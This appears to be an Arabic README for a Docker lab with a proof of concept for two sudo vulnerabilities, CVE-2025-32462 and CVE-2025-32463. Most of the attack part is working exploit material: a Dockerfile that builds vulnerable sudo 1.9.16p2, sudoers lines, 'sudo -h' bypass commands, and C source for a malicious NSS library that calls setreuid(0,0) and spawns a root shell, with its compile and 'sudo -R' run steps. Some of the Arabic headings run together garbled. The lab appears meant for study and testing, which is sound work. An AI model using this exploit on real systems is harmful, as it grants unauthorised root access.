
يوفر هذا المستودع مختبرًا قائمًا على الحاويات وPoC مفصلاً لثغرتين حرجتين في sudo:
-h في sudo-R في sudoالبحث الأصلي بواسطة Rich Mirch – Stratascale CRU
بيئة PoC والمختبر بواسطة MAAYTHM
يفرض sudo التفويض القائم على المضيف عبر Host_Alias في /etc/sudoers.
تحدث الثغرة عند توفير الخيار -h: يقيّم sudo اسم المضيف المُقدَّم بدلاً من اسم المضيف الرسمي للنظام، مما يسمح للمستخدمين المقيّدين بتجاوز سياسات sudo القائمة على المضيف.
الأثر:
يسمح خيار -R في sudo بالتنفيذ داخل بيئة chroot. أثناء التهيئة، يتم تحميل مكتبات NSS (Name Service Switch) استنادًا إلى /etc/nsswitch.conf. من خلال توفير بيئة chroot خبيثة ومكتبة NSS مخصصة، يمكن للمهاجم تنفيذ كود بصلاحية الجذر.
سطح الهجوم:
nsswitch.conf يُعرّفه المهاجمالأثر:
pwn (غير جذر)CVE-2025-32462-CVE-2025-32463-PoC-Lab
├── Dockerfile
│ # Builds vulnerable sudo environment
│
├── exploit/
│ ├── cve_2025_32463.c
│ │ # Malicious NSS shared library used for privilege escalation
│ └── build.sh
│ # Compiles the exploit payload into a shared NSS module
│
├── lab/
│ └── setup.sh
│ # Automates vulnerable lab configuration and sudoers setup
│
└── README.md
# Technical documentation, vulnerability analysis, and PoC usage guide
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y build-essential wget libpam0g-dev libselinux1-dev zlib1g-dev \
pkg-config libssl-dev git nano gcc && \
rm -rf /var/lib/apt/lists/*
WORKDIR /opt
RUN wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \
tar xzf sudo-1.9.16p2.tar.gz && \
cd sudo-1.9.16p2 && \
./configure --disable-gcrypt --prefix=/usr && \
make && make install
RUN useradd -m -s /bin/bash pwn && \
echo 'pwn:pwn' | chpasswd
USER pwn
WORKDIR /home/pwn
CMD ["/bin/bash"]
بناء وتشغيل المختبر
docker build -t sudo-vuln-lab .
docker network create --subnet=172.190.0.0/16 sudolabnet
docker run -d
--network sudolabnet
--ip 172.190.0.3
--hostname lowpriv.test.local
--add-host highpriv.test.local:172.190.0.2
--name lowpriv
sudo-vuln-lab tail -f /dev/null
CVE-2025-32462 – الاستغلال
docker exec -u root -it lowpriv bash echo 'Host_Alias HIGH = highpriv.test.local' >> /etc/sudoers echo 'Host_Alias LOW = lowpriv.test.local' >> /etc/sudoers echo 'pwn HIGH,!LOW = NOPASSWD:ALL' >> /etc/sudoers
السلوك الطبيعي:
sudo id
الاستغلال:
sudo -h highpriv.test.local id
sudo -h highpriv.test.local hostname -f
CVE-2025-32463 – الاستغلال
mkdir -p exploitDir/etc echo 'passwd: /cve_2025_32463' > exploitDir/etc/nsswitch.conf mkdir libnss_ cp /etc/group exploitDir/etc/
مكتبة NSS الخبيثة:
#include <stdlib.h> #include <unistd.h>
attribute((constructor)) void GIVEMEROOT(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); }
التجميع:
gcc -shared -fPIC -Wl,-init,GIVEMEROOT -o libnss_/cve_2025_32463.so.2 cve_2025_32463.c
التشغيل: sudo -R exploitDir
id